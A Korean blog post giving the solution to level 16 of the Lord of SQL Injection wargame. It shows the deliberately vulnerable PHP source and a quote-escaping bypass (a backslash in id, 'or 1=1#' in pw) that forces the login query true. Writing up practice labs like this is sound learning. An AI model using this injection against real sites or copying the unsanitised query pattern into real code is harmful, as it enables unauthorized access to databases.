Oh! JUN
[Lord Of SQL Injection] 16번 문제(싱글쿼터 우회) 본문
query : select id from prob_succubus where id='' and pw=''
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/\'/',$_GET[id])) exit("HeHe");
if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
$query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("succubus");
highlight_file(__FILE__);
?>
id 파라미터에 \(역슬래시)를 걸어줘서 싱글쿼터를 일반 문자로 바꿔줄 수 있다.
id='\' and pw='{$_GET[pw]}'
'\'and pw='가 일반 문자로 치환되니까 T/F 상관없이 뒤에 or 1=1%23 입력하면 무조건적 참이니까 id는 참이된다.
그래서 첫번째 레코드를 뽑을 수 있게 되니까 성공!
query : select id from prob_succubus where id='\' and pw='or 1=1#'
SUCCUBUS Clear!
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/\'/',$_GET[id])) exit("HeHe");
if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
$query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("succubus");
highlight_file(__FILE__);
?>
'문제풀이 > Lord of SQL Injection' 카테고리의 다른 글
[Lord Of SQL Injection] 18번(('1')==0?) ;00% (0) | 2022.02.06 |
---|---|
[Lord Of SQL Injection] 17번(더블쿼터, Nullbyte) (0) | 2022.02.05 |
[Lord Of SQL Injection] 15번 (0) | 2022.02.05 |
[Lord Of SQL Injection] 14번 (0) | 2022.02.03 |
[Lord Of SQL Injection] 13번 (0) | 2022.02.03 |